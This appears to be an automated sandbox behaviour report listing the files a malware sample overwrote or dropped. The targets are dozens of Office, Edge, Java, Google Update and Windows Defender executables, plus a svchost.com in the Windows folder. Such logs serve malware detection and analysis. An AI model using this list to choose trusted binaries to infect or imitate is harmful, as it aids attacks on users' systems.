Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-006E-0409-0000-0000000FF1CE}\misc.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\misc.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Users\user\AppData\Local\Temp\chrome.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\ai.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0409-0000-0000000FF1CE}\misc.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-040C-0000-0000000FF1CE}\misc.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\AutoIt3\Uninstall.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\X86\MpCmdRun.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\aimgr.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe	Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\MSOHTMED.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOXMLED.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-006E-0409-0000-0000000FF1CE}\misc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Windows\svchost.com	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0C0A-0000-0000000FF1CE}\misc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Jump to dropped file
